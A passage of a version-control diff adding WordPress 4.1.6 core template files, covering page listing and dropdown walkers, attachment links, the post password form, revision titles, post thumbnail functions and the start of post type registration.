+			$output .= "\t<option value=\"-1\">" . $r['show_option_no_change'] . "</option>\n";
+		}
+		if ( $r['show_option_none'] ) {
+			$output .= "\t<option value=\"" . esc_attr( $r['option_none_value'] ) . '">' . $r['show_option_none'] . "</option>\n";
+		}
+		$output .= walk_page_dropdown_tree( $pages, $r['depth'], $r );
+		$output .= "</select>\n";
+	}
+
+	/**
+	 * Filter the HTML output of a list of pages as a drop down.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $output HTML output for drop down list of pages.
+	 */
+	$html = apply_filters( 'wp_dropdown_pages', $output );
+
+	if ( $r['echo'] ) {
+		echo $html;
+	}
+	return $html;
+}
+
+/**
+ * Retrieve or display list of pages in list (li) format.
+ *
+ * @since 1.5.0
+ *
+ * @see get_pages()
+ *
+ * @param array|string $args {
+ *     Array or string of arguments. Optional.
+ *
+ *     @type int    $child_of     Display only the sub-pages of a single page by ID. Default 0 (all pages).
+ *     @type string $authors      Comma-separated list of author IDs. Default empty (all authors).
+ *     @type string $date_format  PHP date format to use for the listed pages. Relies on the 'show_date' parameter.
+ *                                Default is the value of 'date_format' option.
+ *     @type int    $depth        Number of levels in the hierarchy of pages to include in the generated list.
+ *                                Accepts -1 (any depth), 0 (all pages), 1 (top-level pages only), and n (pages to
+ *                                the given n depth). Default 0.
+ *     @type bool   $echo         Whether or not to echo the list of pages. Default true.
+ *     @type string $exclude      Comma-separated list of page IDs to exclude. Default empty.
+ *     @type array  $include      Comma-separated list of page IDs to include. Default empty.
+ *     @type string $link_after   Text or HTML to follow the page link label. Default null.
+ *     @type string $link_before  Text or HTML to precede the page link label. Default null.
+ *     @type string $post_type    Post type to query for. Default 'page'.
+ *     @type string $post_status  Comma-separated list of post statuses to include. Default 'publish'.
+ *     @type string $show_date	  Whether to display the page publish or modified date for each page. Accepts
+ *                                'modified' or any other value. An empty value hides the date. Default empty.
+ *     @type string $sort_column  Comma-separated list of column names to sort the pages by. Accepts 'post_author',
+ *                                'post_date', 'post_title', 'post_name', 'post_modified', 'post_modified_gmt',
+ *                                'menu_order', 'post_parent', 'ID', 'rand', or 'comment_count'. Default 'post_title'.
+ *     @type string $title_li     List heading. Passing a null or empty value will result in no heading, and the list
+ *                                will not be wrapped with unordered list `<ul>` tags. Default 'Pages'.
+ *     @type Walker $walker       Walker instance to use for listing pages. Default empty (Walker_Page).
+ * }
+ * @return string HTML list of pages.
+ */
+function wp_list_pages( $args = '' ) {
+	$defaults = array(
+		'depth' => 0, 'show_date' => '',
+		'date_format' => get_option( 'date_format' ),
+		'child_of' => 0, 'exclude' => '',
+		'title_li' => __( 'Pages' ), 'echo' => 1,
+		'authors' => '', 'sort_column' => 'menu_order, post_title',
+		'link_before' => '', 'link_after' => '', 'walker' => '',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$output = '';
+	$current_page = 0;
+
+	// sanitize, mostly to keep spaces out
+	$r['exclude'] = preg_replace( '/[^0-9,]/', '', $r['exclude'] );
+
+	// Allow plugins to filter an array of excluded pages (but don't put a nullstring into the array)
+	$exclude_array = ( $r['exclude'] ) ? explode( ',', $r['exclude'] ) : array();
+
+	/**
+	 * Filter the array of pages to exclude from the pages list.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $exclude_array An array of page IDs to exclude.
+	 */
+	$r['exclude'] = implode( ',', apply_filters( 'wp_list_pages_excludes', $exclude_array ) );
+
+	// Query pages.
+	$r['hierarchical'] = 0;
+	$pages = get_pages( $r );
+
+	if ( ! empty( $pages ) ) {
+		if ( $r['title_li'] ) {
+			$output .= '<li class="pagenav">' . $r['title_li'] . '<ul>';
+		}
+		global $wp_query;
+		if ( is_page() || is_attachment() || $wp_query->is_posts_page ) {
+			$current_page = get_queried_object_id();
+		} elseif ( is_singular() ) {
+			$queried_object = get_queried_object();
+			if ( is_post_type_hierarchical( $queried_object->post_type ) ) {
+				$current_page = $queried_object->ID;
+			}
+		}
+
+		$output .= walk_page_tree( $pages, $r['depth'], $current_page, $r );
+
+		if ( $r['title_li'] ) {
+			$output .= '</ul></li>';
+		}
+	}
+
+	/**
+	 * Filter the HTML output of the pages to list.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @see wp_list_pages()
+	 *
+	 * @param string $output HTML output of the pages list.
+	 * @param array  $r      An array of page-listing arguments.
+	 */
+	$html = apply_filters( 'wp_list_pages', $output, $r );
+
+	if ( $r['echo'] ) {
+		echo $html;
+	} else {
+		return $html;
+	}
+}
+
+/**
+ * Display or retrieve list of pages with optional home link.
+ *
+ * The arguments are listed below and part of the arguments are for {@link
+ * wp_list_pages()} function. Check that function for more info on those
+ * arguments.
+ *
+ * @since 2.7.0
+ *
+ * @param array|string $args {
+ *     Optional. Arguments to generate a page menu. {@see wp_list_pages()}
+ *     for additional arguments.
+ *
+ * @type string     $sort_column How to short the list of pages. Accepts post column names.
+ *                               Default 'menu_order, post_title'.
+ * @type string     $menu_class  Class to use for the div ID containing the page list. Default 'menu'.
+ * @type bool       $echo        Whether to echo the list or return it. Accepts true (echo) or false (return).
+ *                               Default true.
+ * @type string     $link_before The HTML or text to prepend to $show_home text. Default empty.
+ * @type string     $link_after  The HTML or text to append to $show_home text. Default empty.
+ * @type int|string $show_home   Whether to display the link to the home page. Can just enter the text
+ *                               you'd like shown for the home link. 1|true defaults to 'Home'.
+ * }
+ * @return string html menu
+ */
+function wp_page_menu( $args = array() ) {
+	$defaults = array('sort_column' => 'menu_order, post_title', 'menu_class' => 'menu', 'echo' => true, 'link_before' => '', 'link_after' => '');
+	$args = wp_parse_args( $args, $defaults );
+
+	/**
+	 * Filter the arguments used to generate a page-based menu.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see wp_page_menu()
+	 *
+	 * @param array $args An array of page menu arguments.
+	 */
+	$args = apply_filters( 'wp_page_menu_args', $args );
+
+	$menu = '';
+
+	$list_args = $args;
+
+	// Show Home in the menu
+	if ( ! empty($args['show_home']) ) {
+		if ( true === $args['show_home'] || '1' === $args['show_home'] || 1 === $args['show_home'] )
+			$text = __('Home');
+		else
+			$text = $args['show_home'];
+		$class = '';
+		if ( is_front_page() && !is_paged() )
+			$class = 'class="current_page_item"';
+		$menu .= '<li ' . $class . '><a href="' . home_url( '/' ) . '">' . $args['link_before'] . $text . $args['link_after'] . '</a></li>';
+		// If the front page is a page, add it to the exclude list
+		if (get_option('show_on_front') == 'page') {
+			if ( !empty( $list_args['exclude'] ) ) {
+				$list_args['exclude'] .= ',';
+			} else {
+				$list_args['exclude'] = '';
+			}
+			$list_args['exclude'] .= get_option('page_on_front');
+		}
+	}
+
+	$list_args['echo'] = false;
+	$list_args['title_li'] = '';
+	$menu .= str_replace( array( "\r", "\n", "\t" ), '', wp_list_pages($list_args) );
+
+	if ( $menu )
+		$menu = '<ul>' . $menu . '</ul>';
+
+	$menu = '<div class="' . esc_attr($args['menu_class']) . '">' . $menu . "</div>\n";
+
+	/**
+	 * Filter the HTML output of a page-based menu.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see wp_page_menu()
+	 *
+	 * @param string $menu The HTML output.
+	 * @param array  $args An array of arguments.
+	 */
+	$menu = apply_filters( 'wp_page_menu', $menu, $args );
+	if ( $args['echo'] )
+		echo $menu;
+	else
+		return $menu;
+}
+
+//
+// Page helpers
+//
+
+/**
+ * Retrieve HTML list content for page list.
+ *
+ * @uses Walker_Page to create HTML list content.
+ * @since 2.1.0
+ * @see Walker_Page::walk() for parameters and return description.
+ */
+function walk_page_tree($pages, $depth, $current_page, $r) {
+	if ( empty($r['walker']) )
+		$walker = new Walker_Page;
+	else
+		$walker = $r['walker'];
+
+	foreach ( (array) $pages as $page ) {
+		if ( $page->post_parent )
+			$r['pages_with_children'][ $page->post_parent ] = true;
+	}
+
+	$args = array($pages, $depth, $r, $current_page);
+	return call_user_func_array(array($walker, 'walk'), $args);
+}
+
+/**
+ * Retrieve HTML dropdown (select) content for page list.
+ *
+ * @uses Walker_PageDropdown to create HTML dropdown content.
+ * @since 2.1.0
+ * @see Walker_PageDropdown::walk() for parameters and return description.
+ */
+function walk_page_dropdown_tree() {
+	$args = func_get_args();
+	if ( empty($args[2]['walker']) ) // the user's options are the third parameter
+		$walker = new Walker_PageDropdown;
+	else
+		$walker = $args[2]['walker'];
+
+	return call_user_func_array(array($walker, 'walk'), $args);
+}
+
+/**
+ * Create HTML list of pages.
+ *
+ * @since 2.1.0
+ * @uses Walker
+ */
+class Walker_Page extends Walker {
+	/**
+	 * @see Walker::$tree_type
+	 * @since 2.1.0
+	 * @var string
+	 */
+	public $tree_type = 'page';
+
+	/**
+	 * @see Walker::$db_fields
+	 * @since 2.1.0
+	 * @todo Decouple this.
+	 * @var array
+	 */
+	public $db_fields = array ('parent' => 'post_parent', 'id' => 'ID');
+
+	/**
+	 * @see Walker::start_lvl()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int $depth Depth of page. Used for padding.
+	 * @param array $args
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {
+		$indent = str_repeat("\t", $depth);
+		$output .= "\n$indent<ul class='children'>\n";
+	}
+
+	/**
+	 * @see Walker::end_lvl()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int $depth Depth of page. Used for padding.
+	 * @param array $args
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {
+		$indent = str_repeat("\t", $depth);
+		$output .= "$indent</ul>\n";
+	}
+
+	/**
+	 * @see Walker::start_el()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $page Page data object.
+	 * @param int $depth Depth of page. Used for padding.
+	 * @param int $current_page Page ID.
+	 * @param array $args
+	 */
+	public function start_el( &$output, $page, $depth = 0, $args = array(), $current_page = 0 ) {
+		if ( $depth ) {
+			$indent = str_repeat( "\t", $depth );
+		} else {
+			$indent = '';
+		}
+
+		$css_class = array( 'page_item', 'page-item-' . $page->ID );
+
+		if ( isset( $args['pages_with_children'][ $page->ID ] ) ) {
+			$css_class[] = 'page_item_has_children';
+		}
+
+		if ( ! empty( $current_page ) ) {
+			$_current_page = get_post( $current_page );
+			if ( $_current_page && in_array( $page->ID, $_current_page->ancestors ) ) {
+				$css_class[] = 'current_page_ancestor';
+			}
+			if ( $page->ID == $current_page ) {
+				$css_class[] = 'current_page_item';
+			} elseif ( $_current_page && $page->ID == $_current_page->post_parent ) {
+				$css_class[] = 'current_page_parent';
+			}
+		} elseif ( $page->ID == get_option('page_for_posts') ) {
+			$css_class[] = 'current_page_parent';
+		}
+
+		/**
+		 * Filter the list of CSS classes to include with each page item in the list.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @see wp_list_pages()
+		 *
+		 * @param array   $css_class    An array of CSS classes to be applied
+		 *                             to each list item.
+		 * @param WP_Post $page         Page data object.
+		 * @param int     $depth        Depth of page, used for padding.
+		 * @param array   $args         An array of arguments.
+		 * @param int     $current_page ID of the current page.
+		 */
+		$css_classes = implode( ' ', apply_filters( 'page_css_class', $css_class, $page, $depth, $args, $current_page ) );
+
+		if ( '' === $page->post_title ) {
+			$page->post_title = sprintf( __( '#%d (no title)' ), $page->ID );
+		}
+
+		$args['link_before'] = empty( $args['link_before'] ) ? '' : $args['link_before'];
+		$args['link_after'] = empty( $args['link_after'] ) ? '' : $args['link_after'];
+
+		/** This filter is documented in wp-includes/post-template.php */
+		$output .= $indent . sprintf(
+			'<li class="%s"><a href="%s">%s%s%s</a>',
+			$css_classes,
+			get_permalink( $page->ID ),
+			$args['link_before'],
+			apply_filters( 'the_title', $page->post_title, $page->ID ),
+			$args['link_after']
+		);
+
+		if ( ! empty( $args['show_date'] ) ) {
+			if ( 'modified' == $args['show_date'] ) {
+				$time = $page->post_modified;
+			} else {
+				$time = $page->post_date;
+			}
+
+			$date_format = empty( $args['date_format'] ) ? '' : $args['date_format'];
+			$output .= " " . mysql2date( $date_format, $time );
+		}
+	}
+
+	/**
+	 * @see Walker::end_el()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $page Page data object. Not used.
+	 * @param int $depth Depth of page. Not Used.
+	 * @param array $args
+	 */
+	public function end_el( &$output, $page, $depth = 0, $args = array() ) {
+		$output .= "</li>\n";
+	}
+
+}
+
+/**
+ * Create HTML dropdown list of pages.
+ *
+ * @since 2.1.0
+ * @uses Walker
+ */
+class Walker_PageDropdown extends Walker {
+	/**
+	 * @see Walker::$tree_type
+	 * @since 2.1.0
+	 * @var string
+	 */
+	public $tree_type = 'page';
+
+	/**
+	 * @see Walker::$db_fields
+	 * @since 2.1.0
+	 * @todo Decouple this
+	 * @var array
+	 */
+	public $db_fields = array ('parent' => 'post_parent', 'id' => 'ID');
+
+	/**
+	 * @see Walker::start_el()
+	 * @since 2.1.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param object $page Page data object.
+	 * @param int $depth Depth of page in reference to parent pages. Used for padding.
+	 * @param array $args Uses 'selected' argument for selected page to set selected HTML attribute for option element.
+	 * @param int $id
+	 */
+	public function start_el( &$output, $page, $depth = 0, $args = array(), $id = 0 ) {
+		$pad = str_repeat('&nbsp;', $depth * 3);
+
+		$output .= "\t<option class=\"level-$depth\" value=\"$page->ID\"";
+		if ( $page->ID == $args['selected'] )
+			$output .= ' selected="selected"';
+		$output .= '>';
+
+		$title = $page->post_title;
+		if ( '' === $title ) {
+			$title = sprintf( __( '#%d (no title)' ), $page->ID );
+		}
+
+		/**
+		 * Filter the page title when creating an HTML drop-down list of pages.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string $title Page title.
+		 * @param object $page  Page data object.
+		 */
+		$title = apply_filters( 'list_pages', $title, $page );
+		$output .= $pad . esc_html( $title );
+		$output .= "</option>\n";
+	}
+}
+
+//
+// Attachments
+//
+
+/**
+ * Display an attachment page link using an image or icon.
+ *
+ * @since 2.0.0
+ *
+ * @param int|WP_Post $id Optional. Post ID or post object.
+ * @param bool        $fullsize     Optional, default is false. Whether to use full size.
+ * @param bool        $deprecated   Deprecated. Not used.
+ * @param bool        $permalink    Optional, default is false. Whether to include permalink.
+ */
+function the_attachment_link( $id = 0, $fullsize = false, $deprecated = false, $permalink = false ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.5' );
+
+	if ( $fullsize )
+		echo wp_get_attachment_link($id, 'full', $permalink);
+	else
+		echo wp_get_attachment_link($id, 'thumbnail', $permalink);
+}
+
+/**
+ * Retrieve an attachment page link using an image or icon, if possible.
+ *
+ * @since 2.5.0
+ *
+ * @param int|WP_Post  $id        Optional. Post ID or post object.
+ * @param string       $size      Optional, default is 'thumbnail'. Size of image, either array or string.
+ * @param bool         $permalink Optional, default is false. Whether to add permalink to image.
+ * @param bool         $icon      Optional, default is false. Whether to include icon.
+ * @param string|bool  $text      Optional, default is false. If string, then will be link text.
+ * @param array|string $attr      Optional. Array or string of attributes.
+ * @return string HTML content.
+ */
+function wp_get_attachment_link( $id = 0, $size = 'thumbnail', $permalink = false, $icon = false, $text = false, $attr = '' ) {
+	$id = intval( $id );
+	$_post = get_post( $id );
+
+	if ( empty( $_post ) || ( 'attachment' != $_post->post_type ) || ! $url = wp_get_attachment_url( $_post->ID ) )
+		return __( 'Missing Attachment' );
+
+	if ( $permalink )
+		$url = get_attachment_link( $_post->ID );
+
+	if ( $text ) {
+		$link_text = $text;
+	} elseif ( $size && 'none' != $size ) {
+		$link_text = wp_get_attachment_image( $id, $size, $icon, $attr );
+	} else {
+		$link_text = '';
+	}
+
+	if ( trim( $link_text ) == '' )
+		$link_text = $_post->post_title;
+
+	/**
+	 * Filter a retrieved attachment page link.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string      $link_html The page link HTML output.
+	 * @param int         $id        Post ID.
+	 * @param string      $size      Image size. Default 'thumbnail'.
+	 * @param bool        $permalink Whether to add permalink to image. Default false.
+	 * @param bool        $icon      Whether to include an icon. Default false.
+	 * @param string|bool $text      If string, will be link text. Default false.
+	 */
+	return apply_filters( 'wp_get_attachment_link', "<a href='$url'>$link_text</a>", $id, $size, $permalink, $icon, $text );
+}
+
+/**
+ * Wrap attachment in paragraph tag before content.
+ *
+ * @since 2.0.0
+ *
+ * @param string $content
+ * @return string
+ */
+function prepend_attachment($content) {
+	$post = get_post();
+
+	if ( empty($post->post_type) || $post->post_type != 'attachment' )
+		return $content;
+
+	if ( 0 === strpos( $post->post_mime_type, 'video' ) ) {
+		$meta = wp_get_attachment_metadata( get_the_ID() );
+		$atts = array( 'src' => wp_get_attachment_url() );
+		if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) {
+			$atts['width'] = (int) $meta['width'];
+			$atts['height'] = (int) $meta['height'];
+		}
+		if ( has_post_thumbnail() ) {
+			$atts['poster'] = wp_get_attachment_url( get_post_thumbnail_id() );
+		}
+		$p = wp_video_shortcode( $atts );
+	} elseif ( 0 === strpos( $post->post_mime_type, 'audio' ) ) {
+		$p = wp_audio_shortcode( array( 'src' => wp_get_attachment_url() ) );
+	} else {
+		$p = '<p class="attachment">';
+		// show the medium sized image representation of the attachment if available, and link to the raw file
+		$p .= wp_get_attachment_link(0, 'medium', false);
+		$p .= '</p>';
+	}
+
+	/**
+	 * Filter the attachment markup to be prepended to the post content.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @see prepend_attachment()
+	 *
+	 * @param string $p The attachment HTML output.
+	 */
+	$p = apply_filters( 'prepend_attachment', $p );
+
+	return "$p\n$content";
+}
+
+//
+// Misc
+//
+
+/**
+ * Retrieve protected post password form content.
+ *
+ * @since 1.0.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return string HTML content for password form for password protected post.
+ */
+function get_the_password_form( $post = 0 ) {
+	$post = get_post( $post );
+	$label = 'pwbox-' . ( empty($post->ID) ? rand() : $post->ID );
+	$output = '<form action="' . esc_url( site_url( 'wp-login.php?action=postpass', 'login_post' ) ) . '" class="post-password-form" method="post">
+	<p>' . __( 'This content is password protected. To view it please enter your password below:' ) . '</p>
+	<p><label for="' . $label . '">' . __( 'Password:' ) . ' <input name="post_password" id="' . $label . '" type="password" size="20" /></label> <input type="submit" name="Submit" value="' . esc_attr__( 'Submit' ) . '" /></p></form>
+	';
+
+	/**
+	 * Filter the HTML output for the protected post password form.
+	 *
+	 * If modifying the password field, please note that the core database schema
+	 * limits the password field to 20 characters regardless of the value of the
+	 * size attribute in the form input.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $output The password form HTML output.
+	 */
+	return apply_filters( 'the_password_form', $output );
+}
+
+/**
+ * Whether currently in a page template.
+ *
+ * This template tag allows you to determine if you are in a page template.
+ * You can optionally provide a template name and then the check will be
+ * specific to that template.
+ *
+ * @since 2.5.0
+ *
+ * @param string $template The specific template name if specific matching is required.
+ * @return bool True on success, false on failure.
+ */
+function is_page_template( $template = '' ) {
+	if ( ! is_page() )
+		return false;
+
+	$page_template = get_page_template_slug( get_queried_object_id() );
+
+	if ( empty( $template ) )
+		return (bool) $page_template;
+
+	if ( $template == $page_template )
+		return true;
+
+	if ( 'default' == $template && ! $page_template )
+		return true;
+
+	return false;
+}
+
+/**
+ * Get the specific template name for a page.
+ *
+ * @since 3.4.0
+ *
+ * @param int $post_id Optional. The page ID to check. Defaults to the current post, when used in the loop.
+ * @return string|bool Page template filename. Returns an empty string when the default page template
+ * 	is in use. Returns false if the post is not a page.
+ */
+function get_page_template_slug( $post_id = null ) {
+	$post = get_post( $post_id );
+	if ( ! $post || 'page' != $post->post_type )
+		return false;
+	$template = get_post_meta( $post->ID, '_wp_page_template', true );
+	if ( ! $template || 'default' == $template )
+		return '';
+	return $template;
+}
+
+/**
+ * Retrieve formatted date timestamp of a revision (linked to that revisions's page).
+ *
+ * @since 2.6.0
+ *
+ * @param int|object $revision Revision ID or revision object.
+ * @param bool $link Optional, default is true. Link to revisions's page?
+ * @return string i18n formatted datetimestamp or localized 'Current Revision'.
+ */
+function wp_post_revision_title( $revision, $link = true ) {
+	if ( !$revision = get_post( $revision ) )
+		return $revision;
+
+	if ( !in_array( $revision->post_type, array( 'post', 'page', 'revision' ) ) )
+		return false;
+
+	/* translators: revision date format, see http://php.net/date */
+	$datef = _x( 'j F, Y @ G:i', 'revision date format');
+	/* translators: 1: date */
+	$autosavef = _x( '%1$s [Autosave]', 'post revision title extra' );
+	/* translators: 1: date */
+	$currentf  = _x( '%1$s [Current Revision]', 'post revision title extra' );
+
+	$date = date_i18n( $datef, strtotime( $revision->post_modified ) );
+	if ( $link && current_user_can( 'edit_post', $revision->ID ) && $link = get_edit_post_link( $revision->ID ) )
+		$date = "<a href='$link'>$date</a>";
+
+	if ( !wp_is_post_revision( $revision ) )
+		$date = sprintf( $currentf, $date );
+	elseif ( wp_is_post_autosave( $revision ) )
+		$date = sprintf( $autosavef, $date );
+
+	return $date;
+}
+
+/**
+ * Retrieve formatted date timestamp of a revision (linked to that revisions's page).
+ *
+ * @since 3.6.0
+ *
+ * @param int|object $revision Revision ID or revision object.
+ * @param bool $link Optional, default is true. Link to revisions's page?
+ * @return string gravatar, user, i18n formatted datetimestamp or localized 'Current Revision'.
+ */
+function wp_post_revision_title_expanded( $revision, $link = true ) {
+	if ( !$revision = get_post( $revision ) )
+		return $revision;
+
+	if ( !in_array( $revision->post_type, array( 'post', 'page', 'revision' ) ) )
+		return false;
+
+	$author = get_the_author_meta( 'display_name', $revision->post_author );
+	/* translators: revision date format, see http://php.net/date */
+	$datef = _x( 'j F, Y @ G:i:s', 'revision date format');
+
+	$gravatar = get_avatar( $revision->post_author, 24 );
+
+	$date = date_i18n( $datef, strtotime( $revision->post_modified ) );
+	if ( $link && current_user_can( 'edit_post', $revision->ID ) && $link = get_edit_post_link( $revision->ID ) )
+		$date = "<a href='$link'>$date</a>";
+
+	$revision_date_author = sprintf(
+		/* translators: post revision title: 1: author avatar, 2: author name, 3: time ago, 4: date */
+		_x( '%1$s %2$s, %3$s ago (%4$s)', 'post revision title' ),
+		$gravatar,
+		$author,
+		human_time_diff( strtotime( $revision->post_modified ), current_time( 'timestamp' ) ),
+		$date
+	);
+
+	$autosavef = __( '%1$s [Autosave]' );
+	$currentf  = __( '%1$s [Current Revision]' );
+
+	if ( !wp_is_post_revision( $revision ) )
+		$revision_date_author = sprintf( $currentf, $revision_date_author );
+	elseif ( wp_is_post_autosave( $revision ) )
+		$revision_date_author = sprintf( $autosavef, $revision_date_author );
+
+	return $revision_date_author;
+}
+
+/**
+ * Display list of a post's revisions.
+ *
+ * Can output either a UL with edit links or a TABLE with diff interface, and
+ * restore action links.
+ *
+ * @since 2.6.0
+ *
+ * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post.
+ * @param string      $type    'all' (default), 'revision' or 'autosave'
+ * @return null
+ */
+function wp_list_post_revisions( $post_id = 0, $type = 'all' ) {
+	if ( ! $post = get_post( $post_id ) )
+		return;
+
+	// $args array with (parent, format, right, left, type) deprecated since 3.6
+	if ( is_array( $type ) ) {
+		$type = ! empty( $type['type'] ) ? $type['type']  : $type;
+		_deprecated_argument( __FUNCTION__, '3.6' );
+	}
+
+	if ( ! $revisions = wp_get_post_revisions( $post->ID ) )
+		return;
+
+	$rows = '';
+	foreach ( $revisions as $revision ) {
+		if ( ! current_user_can( 'read_post', $revision->ID ) )
+			continue;
+
+		$is_autosave = wp_is_post_autosave( $revision );
+		if ( ( 'revision' === $type && $is_autosave ) || ( 'autosave' === $type && ! $is_autosave ) )
+			continue;
+
+		$rows .= "\t<li>" . wp_post_revision_title_expanded( $revision ) . "</li>\n";
+	}
+
+	echo "<div class='hide-if-js'><p>" . __( 'JavaScript must be enabled to use this feature.' ) . "</p></div>\n";
+
+	echo "<ul class='post-revisions hide-if-no-js'>\n";
+	echo $rows;
+	echo "</ul>";
+}
Index: /tags/4.1.6/src/wp-includes/post-thumbnail-template.php
===================================================================
--- /tags/4.1.6/src/wp-includes/post-thumbnail-template.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/post-thumbnail-template.php	(revision 33402)
@@ -0,0 +1,142 @@
+<?php
+/**
+ * WordPress Post Thumbnail Template Functions.
+ *
+ * Support for post thumbnails
+ * Themes function.php must call add_theme_support( 'post-thumbnails' ) to use these.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Check if post has an image attached.
+ *
+ * @since 2.9.0
+ *
+ * @param int $post_id Optional. Post ID.
+ * @return bool Whether post has an image attached.
+ */
+function has_post_thumbnail( $post_id = null ) {
+	return (bool) get_post_thumbnail_id( $post_id );
+}
+
+/**
+ * Retrieve Post Thumbnail ID.
+ *
+ * @since 2.9.0
+ *
+ * @param int $post_id Optional. Post ID.
+ * @return int
+ */
+function get_post_thumbnail_id( $post_id = null ) {
+	$post_id = ( null === $post_id ) ? get_the_ID() : $post_id;
+	return get_post_meta( $post_id, '_thumbnail_id', true );
+}
+
+/**
+ * Display Post Thumbnail.
+ *
+ * @since 2.9.0
+ *
+ * @param string|array $size Optional. Image size. Defaults to 'post-thumbnail', which theme sets using set_post_thumbnail_size( $width, $height, $crop_flag );.
+ * @param string|array $attr Optional. Query string or array of attributes.
+ */
+function the_post_thumbnail( $size = 'post-thumbnail', $attr = '' ) {
+	echo get_the_post_thumbnail( null, $size, $attr );
+}
+
+/**
+ * Update cache for thumbnails in the current loop
+ *
+ * @since 3.2.0
+ *
+ * @param object $wp_query Optional. A WP_Query instance. Defaults to the $wp_query global.
+ */
+function update_post_thumbnail_cache( $wp_query = null ) {
+	if ( ! $wp_query )
+		$wp_query = $GLOBALS['wp_query'];
+
+	if ( $wp_query->thumbnails_cached )
+		return;
+
+	$thumb_ids = array();
+	foreach ( $wp_query->posts as $post ) {
+		if ( $id = get_post_thumbnail_id( $post->ID ) )
+			$thumb_ids[] = $id;
+	}
+
+	if ( ! empty ( $thumb_ids ) ) {
+		_prime_post_caches( $thumb_ids, false, true );
+	}
+
+	$wp_query->thumbnails_cached = true;
+}
+
+/**
+ * Retrieve Post Thumbnail.
+ *
+ * @since 2.9.0
+ *
+ * @param int $post_id Optional. Post ID.
+ * @param string $size Optional. Image size. Defaults to 'post-thumbnail'.
+ * @param string|array $attr Optional. Query string or array of attributes.
+ */
+function get_the_post_thumbnail( $post_id = null, $size = 'post-thumbnail', $attr = '' ) {
+	$post_id = ( null === $post_id ) ? get_the_ID() : $post_id;
+	$post_thumbnail_id = get_post_thumbnail_id( $post_id );
+
+	/**
+	 * Filter the post thumbnail size.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $size The post thumbnail size.
+	 */
+	$size = apply_filters( 'post_thumbnail_size', $size );
+
+	if ( $post_thumbnail_id ) {
+
+		/**
+		 * Fires before fetching the post thumbnail HTML.
+		 *
+		 * Provides "just in time" filtering of all filters in wp_get_attachment_image().
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $post_id           The post ID.
+		 * @param string $post_thumbnail_id The post thumbnail ID.
+		 * @param string $size              The post thumbnail size.
+		 */
+		do_action( 'begin_fetch_post_thumbnail_html', $post_id, $post_thumbnail_id, $size );
+		if ( in_the_loop() )
+			update_post_thumbnail_cache();
+		$html = wp_get_attachment_image( $post_thumbnail_id, $size, false, $attr );
+
+		/**
+		 * Fires after fetching the post thumbnail HTML.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $post_id           The post ID.
+		 * @param string $post_thumbnail_id The post thumbnail ID.
+		 * @param string $size              The post thumbnail size.
+		 */
+		do_action( 'end_fetch_post_thumbnail_html', $post_id, $post_thumbnail_id, $size );
+
+	} else {
+		$html = '';
+	}
+	/**
+	 * Filter the post thumbnail HTML.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $html              The post thumbnail HTML.
+	 * @param string $post_id           The post ID.
+	 * @param string $post_thumbnail_id The post thumbnail ID.
+	 * @param string $size              The post thumbnail size.
+	 * @param string $attr              Query string of attributes.
+	 */
+	return apply_filters( 'post_thumbnail_html', $html, $post_id, $post_thumbnail_id, $size, $attr );
+}
Index: /tags/4.1.6/src/wp-includes/post.php
===================================================================
--- /tags/4.1.6/src/wp-includes/post.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/post.php	(revision 33402)
@@ -0,0 +1,5846 @@
+<?php
+/**
+ * Post functions and post utility function.
+ *
+ * @package WordPress
+ * @subpackage Post
+ * @since 1.5.0
+ */
+
+//
+// Post Type Registration
+//
+
+/**
+ * Creates the initial post types when 'init' action is fired.
+ *
+ * @since 2.9.0
+ */
+function create_initial_post_types() {
+	register_post_type( 'post', array(
+		'labels' => array(
+			'name_admin_bar' => _x( 'Post', 'add new on admin bar' ),
+		),
+		'public'  => true,
+		'_builtin' => true, /* internal use only. don't use this when registering your own post type. */
+		'_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */
+		'capability_type' => 'post',
+		'map_meta_cap' => true,
+		'hierarchical' => false,
+		'rewrite' => false,
+		'query_var' => false,
+		'delete_with_user' => true,
+		'supports' => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'trackbacks', 'custom-fields', 'comments', 'revisions', 'post-formats' ),
+	) );
+
+	register_post_type( 'page', array(
+		'labels' => array(
+			'name_admin_bar' => _x( 'Page', 'add new on admin bar' ),
+		),
+		'public' => true,
+		'publicly_queryable' => false,
+		'_builtin' => true, /* internal use only. don't use this when registering your own post type. */
+		'_edit_link' => 'post.php?post=%d', /* internal use only. don't use this when registering your own post type. */
+		'capability_type' => 'page',
+		'map_meta_cap' => true,
+		'hierarchical' => true,
+		'rewrite' => false,
+		'query_var' => false,
+		'delete_with_user' => true,
